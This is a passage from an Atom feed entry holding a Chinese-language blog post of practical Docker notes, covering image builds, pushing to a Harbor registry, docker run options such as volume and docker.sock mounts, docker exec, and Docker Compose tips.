class="lvl-2"><p>COPY&#xFF1A;&#x5C06;&#x6587;&#x4EF6;&#x4ECE;&#x4E3B;&#x673A;&#x673A;&#x5668;&#x590D;&#x5236;&#x5230;&#x5BB9;&#x5668;&#x4E2D;&#x3002;</p></li><li class="lvl-2"><p>RUN&#xFF1A;&#x6267;&#x884C;&#x547D;&#x4EE4;&#x4EE5;&#x5B89;&#x88C5;&#x4F9D;&#x8D56;&#x6216;&#x6267;&#x884C;&#x8BBE;&#x7F6E;&#x4EFB;&#x52A1;&#x3002;</p></li><li class="lvl-2"><p>EXPOSE&#xFF1A;&#x5C06;&#x5BB9;&#x5668;&#x7684;&#x7AEF;&#x53E3;&#x66B4;&#x9732;&#x7ED9;&#x4E3B;&#x673A;&#x7CFB;&#x7EDF;&#x3002;</p></li><li class="lvl-2"><p>ENV&#xFF1A;&#x5B9A;&#x4E49;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x3002;</p></li><li class="lvl-2"><p>CMD&#xFF1A;&#x6307;&#x5B9A;&#x5BB9;&#x5668;&#x542F;&#x52A8;&#x65F6;&#x8981;&#x8FD0;&#x884C;&#x7684;&#x9ED8;&#x8BA4;&#x547D;&#x4EE4;&#x3002;</p></li></ul><p>&#x5B9A;&#x4E49;&#x4E86;&#x6211;&#x4EEC;&#x81EA;&#x5DF1;&#x7684; Dockerfile &#x6587;&#x4EF6;&#x540E;&#xFF0C;&#x5728;&#x5B58;&#x5728; dockerfile &#x6587;&#x4EF6;&#x7684;&#x76EE;&#x5F55;&#x4E0B;&#x5C31;&#x53EF;&#x4EE5;&#x5F00;&#x59CB;&#x5236;&#x4F5C;&#x955C;&#x50CF;&#x4E86;&#xFF0C;&#x65B9;&#x5F0F;&#x4E3A;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build --network=host -t &lt;image-name&gt;:&lt;tag&gt; -f Dockerfile .</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x6837;&#x5C31;&#x4ECE; Dockerfile &#x4E2D;&#x521B;&#x5EFA;&#x4E86;&#x6211;&#x4EEC;&#x81EA;&#x5DF1;&#x7684; docker &#x955C;&#x50CF;&#x4E86;</p><p>&#x6253;&#x5305;&#x955C;&#x50CF;&#xFF1A;<br>docker save &#x53EF;&#x4EE5;&#x5C06;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x955C;&#x50CF;&#x5F52;&#x6863;&#x6253;&#x5305;&#x4E3A;&#x5355;&#x4E2A;&#x6587;&#x4EF6;&#xFF0C;&#x5982;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker save  &lt;image-name&gt;:&lt;tag&gt; -o v1-x86_64.docker</span><br></pre></td></tr></table></figure><h3 id="3-&#x53D1;&#x5E03;&#x955C;&#x50CF;">3. &#x53D1;&#x5E03;&#x955C;&#x50CF;</h3><p>&#x524D;&#x9762;&#x63D0;&#x5230;&#x4E86; Docker Hub&#xFF0C;&#x8FD9;&#x662F;&#x5B58;&#x653E; docker &#x955C;&#x50CF;&#x7684;&#x516C;&#x5171;&#x4ED3;&#x5E93;&#x3002;&#x5B9E;&#x73B0;&#x5B58;&#x653E;&#xFF0C;&#x5206;&#x53D1; docker &#x955C;&#x50CF;&#x7684;&#x5730;&#x65B9;&#x79F0;&#x4F5C; <a href="https://docs.docker.com/registry/">Docker Register</a>&#x3002;</p><p>&#x6211;&#x4EEC;&#x5728;&#x8FD0;&#x884C; docker pull&#x3001;docker search &#x65F6;&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x662F;&#x901A;&#x8FC7; docker daemon &#x4E0E; docker registry &#x901A;&#x4FE1;&#x3002;&#x800C; Docker Hub &#x5B9E;&#x9645;&#x662F; Docker Register &#x7684;&#x4E00;&#x79CD;&#x5B9E;&#x73B0;&#x3002;</p><p>&#x6709;&#x4E86;&#x516C;&#x5171;&#x4ED3;&#x5E93;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x6709;&#x79C1;&#x6709;&#x4ED3;&#xFF0C;&#x4F46;&#x5982;&#x4F55;&#x521B;&#x5EFA;&#x79C1;&#x6709;&#x4ED3;&#x5E93;&#x4E0D;&#x662F;&#x73B0;&#x5728;&#x7684;&#x4E3B;&#x9898;&#x3002;&#x5728;&#x4F01;&#x4E1A;&#x5185;&#x90E8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Harbor &#x6765;&#x5B9E;&#x73B0; Docker Register&#xFF0C; &#x5B83;&#x5728; Docker Registry &#x4E0A;&#x8FDB;&#x884C;&#x4E86;&#x76F8;&#x5E94;&#x7684;&#x4F01;&#x4E1A;&#x7EA7;&#x6269;&#x5C55;&#xFF0C;&#x56E0;&#x6B64;&#x7279;&#x522B;&#x9002;&#x5408;&#x6765;&#x642D;&#x5EFA;&#x4F01;&#x4E1A;&#x5185;&#x90E8;&#x7684; docker &#x955C;&#x50CF;&#x4ED3;&#xFF0C;&#x63D0;&#x4F9B;&#x516C;&#x53F8;&#x5185;&#x90E8;&#x4F7F;&#x7528;&#x3002;</p><p>&#x5047;&#x8BBE;&#x4F01;&#x4E1A;&#x5185;&#x90E8;&#x7684;&#x7684; Harbor &#x670D;&#x52A1;&#x7684;&#x5730;&#x5740;&#x4E3A;&#xFF1A; <a href="https://my.harbor.com">https://my.harbor.com</a></p><p>&#x8981;&#x53D1;&#x5E03;&#x524D;&#x9762;&#x5236;&#x4F5C;&#x597D;&#x7684;&#x955C;&#x50CF;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x767B;&#x5F55;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker login https://my.harbor.com</span><br></pre></td></tr></table></figure><p>&#x7136;&#x540E;&#x5C06;&#x672C;&#x5730;&#x955C;&#x50CF;&#x6253;&#x4E0A;&#x7279;&#x5B9A;&#x7684; tag&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker tag source_image[:tag] my.harbor.com/my-projects/repository[:tag]</span><br></pre></td></tr></table></figure><p>&#x6700;&#x540E;&#x5C31;&#x53EF;&#x4EE5;&#x63A8;&#x9001;&#x4E86;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker push my.harbor.com/my-projects/repository[:tag]</span><br></pre></td></tr></table></figure><h2 id="Docker-container">Docker container</h2><p>&#x521B;&#x5EFA;&#x65B0;&#x5BB9;&#x5668;&#x7684;&#x547D;&#x4EE4;&#x6709;&#xFF1A;docker create&#xFF0C; docker run</p><p>&#x901A;&#x8FC7; docker --help &#x67E5;&#x770B;&#x4ED6;&#x4EEC;&#x7684;&#x7528;&#x6CD5;&#x5982;&#x4E0B;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>docker create: Create a new container</p></li><li class="lvl-2"><p>docker run: Run a command in a new container</p></li></ul><p>&#x53EF;&#x4EE5;&#x770B;&#x5230; docker run &#x4E0E; docker create &#x7684;&#x533A;&#x522B;&#x662F;&#x5B83;&#x9664;&#x4E86;&#x521B;&#x5EFA;&#x65B0;&#x5BB9;&#x5668;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x8FD0;&#x884C;&#x547D;&#x4EE4;&#x3002;</p><p>&#x4F7F;&#x7528; docker create &#x521B;&#x5EFA;&#x5BB9;&#x5668;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x5BB9;&#x5668;&#x72B6;&#x6001;&#x4E3A; Created&#xFF0C; &#x6B63;&#x5E38;&#x8FD0;&#x884C;&#x7684;&#x5BB9;&#x5668;&#x72B6;&#x6001;&#x4E3A; Up&#xFF0C; &#x6240;&#x4EE5;&#x521B;&#x5EFA;&#x5BB9;&#x5668;&#x540E;&#xFF0C;&#x8FD8;&#x9700;&#x8981; docker start &#x6765;&#x62C9;&#x8D77;&#x5BB9;&#x5668;&#x3002;&#x6240;&#x4EE5;&#x4E00;&#x822C;&#x6211;&#x4EEC;&#x6CA1;&#x6709;&#x4F7F;&#x7528; docker create &#x547D;&#x4EE4;&#x521B;&#x5EFA;&#x5BB9;&#x5668;&#x3002;</p><p><em><strong>Tips:</strong></em></p><p><strong>&#x4E00;&#x822C;&#x4F7F;&#x7528; docker run &#x547D;&#x4EE4;&#x6765;&#x521B;&#x5EFA;&#x5BB9;&#x5668;&#xFF0C;&#x5E76;&#x52A0;&#x4E0A; <code>-d(--detach)</code> &#x9009;&#x9879;&#x8BA9;&#x65B0;&#x521B;&#x5EFA;&#x7684;&#x5BB9;&#x5668;&#x5728;&#x540E;&#x53F0;&#xFF08;background&#xFF09;&#x8FD0;&#x884C;&#xFF0C;&#x800C; docker create &#x547D;&#x4EE4;&#x5219;&#x6CA1;&#x6709;&#x8FD9;&#x4E2A;&#x9009;&#x9879;&#x3002;&#x53E6;&#x5916;&#x8981;&#x8BA9;&#x5BB9;&#x5668;&#x4E00;&#x76F4;&#x4FDD;&#x6301;&#x8FD0;&#x884C;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x52A0;&#x4E0A; <code>-t(--tty)</code> &#x9009;&#x9879;&#xFF0C;&#x5426;&#x5219;&#x5BB9;&#x5668;&#x4F1A;&#x5728;&#x540E;&#x53F0;&#x4E00;&#x76F4;&#x662F; Exited &#x72B6;&#x6001;&#xFF0C;&#x5F53;&#x7136;&#x5982;&#x679C;&#x52A0;&#x4E0A;&#x4E86; <code>--rm</code> &#x9009;&#x9879;&#xFF0C;&#x5219;&#x4F1A;&#x81EA;&#x52A8;&#x5C06; Exited &#x72B6;&#x6001;&#x7684;&#x5BB9;&#x5668;&#x5220;&#x9664;&#x6389;&#xFF0C;&#x2013;rm &#x9009;&#x9879;&#x4F1A;&#x4E0E;&#x2013;restart &#x9009;&#x9879;&#x51B2;&#x7A81;&#xFF0C;&#x56E0;&#x4E3A;&#x5F53;&#x2013;restart &#x6253;&#x5F00;&#x65F6;&#x610F;&#x5473;&#x7740;&#x5F53;&#x5BB9;&#x5668;&#x8FDB;&#x5165; Exited &#x72B6;&#x6001;&#x540E;&#x4F1A;&#x5C1D;&#x8BD5;&#x62C9;&#x8D77;&#xFF0C;&#x800C; <code>--rm</code> &#x9009;&#x9879;&#x5219;&#x662F;&#x5C1D;&#x8BD5;&#x5220;&#x9664;&#x5BB9;&#x5668;&#xFF0C;&#x6240;&#x4EE5;&#x5B83;&#x4EEC;&#x4E0D;&#x80FD;&#x540C;&#x65F6;&#x4F7F;&#x7528;&#x3002;</strong></p><p>&#x6240;&#x4EE5;&#x521B;&#x5EFA;&#x5BB9;&#x5668;&#x65F6;&#x4F1A;&#x8FD9;&#x6837;&#x505A;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -t -d --rm --name my-container &lt;image-id&gt;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x9645;&#x4E0A;&#x8981;&#x4F7F;&#x7528;&#x5BB9;&#x5668;&#x5E76;&#x4E0D;&#x662F;&#x8FD9;&#x6837;&#x7B80;&#x5355;&#xFF0C;&#x5BB9;&#x5668;&#x8FD8;&#x9700;&#x8981;&#x7F51;&#x7EDC;&#xFF0C;&#x9700;&#x8981;&#x5171;&#x4EAB;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x4E00;&#x4E9B;&#x8D44;&#x6E90;&#x7B49;&#x7B49;&#x3002;&#x6BD4;&#x5982;&#x8981;&#x4F7F;&#x7528;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x7F51;&#x7EDC;&#xFF0C;&#x9700;&#x8981;&#x52A0;&#x4E0A; <code>--network</code> &#x9009;&#x9879;&#xFF08;&#x4F34;&#x968F;&#x7740;&#x7F51;&#x7EDC;&#xFF0C;&#x5F80;&#x5F80;&#x8FD8;&#x6709;&#x7AEF;&#x53E3;&#x6620;&#x5C04;&#x95EE;&#x9898;&#xFF0C;&#x4F46;&#x8FD9;&#x91CC;&#x5148;&#x4E0D;&#x7BA1;&#xFF09;&#x3002;</p><p><em><strong>Tips:</strong></em></p><p><strong>&#x8981;&#x60F3;&#x5728;&#x5BB9;&#x5668;&#x5185;&#x90E8;&#x8BBF;&#x95EE;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x9700;&#x8981; <code>--volume</code> &#x9009;&#x9879;&#x5C06;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x5377;&#x6302;&#x8F7D;&#x5230;&#x5BB9;&#x5668;&#x5185;&#x90E8;&#xFF0C;&#x8FD9;&#x4E2A;&#x80FD;&#x529B;&#x5728;&#x6709;&#x4E9B;&#x573A;&#x666F;&#x4E0B;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x3002;&#x6BD4;&#x5982;&#xFF0C;&#x5F53;&#x4E3B;&#x673A;&#x91C7;&#x7528;&#x4E86; CST &#x65F6;&#x533A;&#xFF08;&#x4E1C;&#x516B;&#x533A;&#x65F6;&#x95F4;&#xFF09;&#xFF0C;&#x800C;&#x5BB9;&#x5668;&#x91C7;&#x7528;&#x4E86; UTC &#x65F6;&#x533A;&#xFF08;&#x6807;&#x51C6;&#x65F6;&#x95F4;&#xFF09;&#xFF0C;&#x5B83;&#x4EEC;&#x76F8;&#x5DEE; 8 &#x4E2A;&#x5C0F;&#x65F6;&#xFF0C;&#x8FD9;&#x5728;&#x67E5;&#x770B;&#x5BB9;&#x5668;&#x5185;&#x670D;&#x52A1;&#x4EA7;&#x751F;&#x7684;&#x65E5;&#x5FD7;&#x65F6;&#x4E0D;&#x592A;&#x65B9;&#x4FBF;&#xFF0C;&#x4E8E;&#x662F;&#x6211;&#x60F3;&#x8BA9;&#x5BB9;&#x5668;&#x5185;&#x7684;&#x65F6;&#x95F4;&#x4E0E;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x65F6;&#x95F4;&#x4FDD;&#x6301;&#x4E00;&#x81F4;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x53EA;&#x9700;&#x8981;&#x5C06;&#x4E3B;&#x673A;&#x4E0A;&#x7684; <code>/etc/localtime</code> &#x6302;&#x8F7D;&#x5230;&#x5BB9;&#x5668;&#x5185;&#x5373;&#x53EF;&#x3002;</strong></p><p><strong>&#x518D;&#x6BD4;&#x5982;&#xFF0C;&#x5982;&#x679C;&#x4E3B;&#x673A;&#x4E0A;&#x6709;&#x591A;&#x4E2A;&#x5BB9;&#x5668;&#xFF0C;&#x800C;&#x6211;&#x60F3;&#x5728;&#x4E00;&#x4E2A;&#x5BB9;&#x5668;&#x5185;&#x53BB;&#x53E6;&#x4E00;&#x4E2A;&#x5BB9;&#x5668;&#x5185;&#x6267;&#x884C;&#x547D;&#x4EE4;&#xFF0C;&#x90A3;&#x4E48;&#x53EA;&#x9700;&#x8981;&#x5C06;&#x4E3B;&#x673A;&#x4E0A;&#x7684; <code>/var/run/docker.sock</code> &#x6302;&#x8F7D;&#x5230;&#x8FD9;&#x4E2A;&#x5BB9;&#x5668;&#x5185;&#x5373;&#x53EF;&#x3002;</strong></p><p>&#x6240;&#x4EE5;&#x5B9E;&#x9645;&#x521B;&#x5EFA;&#x5BB9;&#x5668;&#x65F6;&#x53EF;&#x80FD;&#x662F;&#x8FD9;&#x6837;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -t -d --rm --net=host -v /etc/localtime:/etc/localtime -v var/run/docker.sock:var/run/docker.sock  --name my-container &lt;image-id&gt;</span><br></pre></td></tr></table></figure><p>&#x5F53;&#x5BB9;&#x5668;&#x8FD0;&#x884C;&#x8D77;&#x6765;&#x4E4B;&#x540E;&#xFF0C;&#x8981;&#x5728;&#x5BB9;&#x5668;&#x5185;&#x6267;&#x884C;&#x547D;&#x4EE4;&#x6216;&#x811A;&#x672C;&#xFF0C;&#x53EF;&#x4EE5;&#x4E0D;&#x8FDB;&#x5165;&#x5BB9;&#x5668;&#xFF0C;&#x76F4;&#x63A5;&#x5728;&#x4E3B;&#x673A;&#x4E0A;&#x6267;&#x884C; docker exec</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker exec &lt;container-name&gt; commands</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">or</span></span><br><span class="line">docker exec &lt;container-name&gt; bash -c &quot;commands&quot; </span><br></pre></td></tr></table></figure><p>&#x5982;&#x679C;&#x8981;&#x8FDB;&#x5165;&#x5BB9;&#x5668;&#x5185;&#x90E8;&#xFF0C;&#x5219;&#x9700;&#x8981;&#x52A0;&#x4E0A; <code>-t(--tty)</code> &#x9009;&#x9879;&#x548C; <code>-i(--interactive)</code> &#x9009;&#x9879;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it &lt;contaienr-name&gt; /bin/bash</span><br></pre></td></tr></table></figure><h2 id="Docker-compose">Docker compose</h2><p>Docker compose &#x662F;&#x5B9A;&#x4E49;&#x548C;&#x8FD0;&#x884C;&#x591A;&#x5BB9;&#x5668;&#x670D;&#x52A1;&#x7684;&#x5DE5;&#x5177;&#xFF0C;&#x5B83;&#x901A;&#x8FC7; yaml &#x6587;&#x4EF6;&#x6765;&#x7F16;&#x6392;&#x5BB9;&#x5668;&#x670D;&#x52A1;&#xFF0C;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x4E3A;&#xFF1A;<a href="https://docs.docker.com/compose/">https://docs.docker.com/compose/</a></p><p>&#x5177;&#x4F53;&#x600E;&#x4E48;&#x7528;&#x5C31;&#x4E0D;&#x5199;&#x4E86;&#xFF0C;&#x770B;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x5373;&#x53EF;&#x3002;&#x4F46;&#x4F7F;&#x7528;&#x65F6;&#x6709;&#x4E24;&#x70B9;&#x9700;&#x8981;&#x6CE8;&#x610F;&#xFF0C;&#x4E00;&#x662F; docker compose &#x6587;&#x4EF6;&#xFF08;&#x5373; <code>.yml</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF09;&#x7684;&#x7248;&#x672C;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x8FD9;&#x4E2A;&#x4E5F;&#x53EF;&#x4EE5;&#x4ECE;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x4E86;&#x89E3;&#xFF1B;&#x4E8C;&#x662F;&#x5199;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x65F6;&#x6CE8;&#x610F; <code>yml</code> &#x8BED;&#x6CD5;&#x7684;&#x7F29;&#x8FDB;&#x95EE;&#x9898;&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E00;&amp;#x4E0B;&amp;#x5728;&amp;#x9879;&amp;#x76EE;&amp;#x4E2D;&amp;#x4F7F;&amp;#x7528; Docker &amp;#x65F6;&amp;#x7684;&amp;#x4E00;&amp;#x4E9B;&amp;#x7B14;&amp;#x8BB0;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x5206;&amp;#x4EAB;Docker&amp;#x5728;&amp;#x5B9E;&amp;#x9645;&amp;#x9879;&amp;#x76EE;&amp;#x4E2D;&amp;#x7684;&amp;#x5E94;&amp;#x7528;&amp;#x7ECF;&amp;#x9A8C;&amp;#xFF0C;&amp;#x6DB5;&amp;#x76D6;&amp;#x4ECE;&amp;#x955C;&amp;#x50CF;&amp;#x7BA1;&amp;#x7406;&amp;#x5230;&amp;#x5BB9;&amp;#x5668;&amp;#x64CD;&amp;#x4F5C;&amp;#x7684;&amp;#x5B8C;&amp;#x6574;&amp;#x6D41;&amp;#x7A0B;&amp;#x3002;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB2;&amp;#x89E3;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x4ECE;Docker Hub&amp;#x83B7;&amp;#x53D6;&amp;#x955C;&amp;#x50CF;&amp;#x3001;&amp;#x4F7F;&amp;#x7528;Dockerfile&amp;#x521B;&amp;#x5EFA;&amp;#x81EA;&amp;#x5B9A;&amp;#x4E49;&amp;#x955C;&amp;#x50CF;&amp;#x4EE5;&amp;#x53CA;&amp;#x53D1;&amp;#x5E03;&amp;#x955C;&amp;#x50CF;&amp;#x5230;&amp;#x79C1;&amp;#x6709;&amp;#x4ED3;&amp;#x5E93;&amp;#x7684;&amp;#x6B65;&amp;#x9AA4;&amp;#x3002;&amp;#x540C;&amp;#x65F6;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x521B;&amp;#x5EFA;&amp;#x548C;&amp;#x7BA1;&amp;#x7406;&amp;#x5BB9;&amp;#x5668;&amp;#x7684;&amp;#x5B9E;&amp;#x7528;&amp;#x6280;&amp;#x5DE7;&amp;#xFF0C;&amp;#x5305;&amp;#x62EC;&amp;#x7F51;&amp;#x7EDC;&amp;#x914D;&amp;#x7F6E;&amp;#x3001;&amp;#x5377;&amp;#x6302;&amp;#x8F7D;&amp;#x548C;&amp;#x65F6;&amp;#x533A;&amp;#x540C;&amp;#x6B65;&amp;#x7B49;&amp;#x5E38;&amp;#x89C1;&amp;#x95EE;&amp;#x9898;&amp;#x7684;&amp;#x89E3;&amp;#x51B3;&amp;#x65B9;&amp;#x6848;&amp;#xFF0C;&amp;#x5E76;&amp;#x7B80;&amp;#x8981;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;Docker Compose&amp;#x591A;&amp;#x5BB9;&amp;#x5668;&amp;#x7F16;&amp;#x6392;&amp;#x5DE5;&amp;#x5177;&amp;#x7684;&amp;#x5E94;&amp;#x7528;&amp;#x6CE8;&amp;#x610F;&amp;#x4E8B;&amp;#x9879;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Docker" scheme="https://oschina.win/categories/Docker/"/>
    
    
    <category term="Docker" scheme="https://oschina.win/tags/Docker/"/>
    
  </entry>
  
</feed>
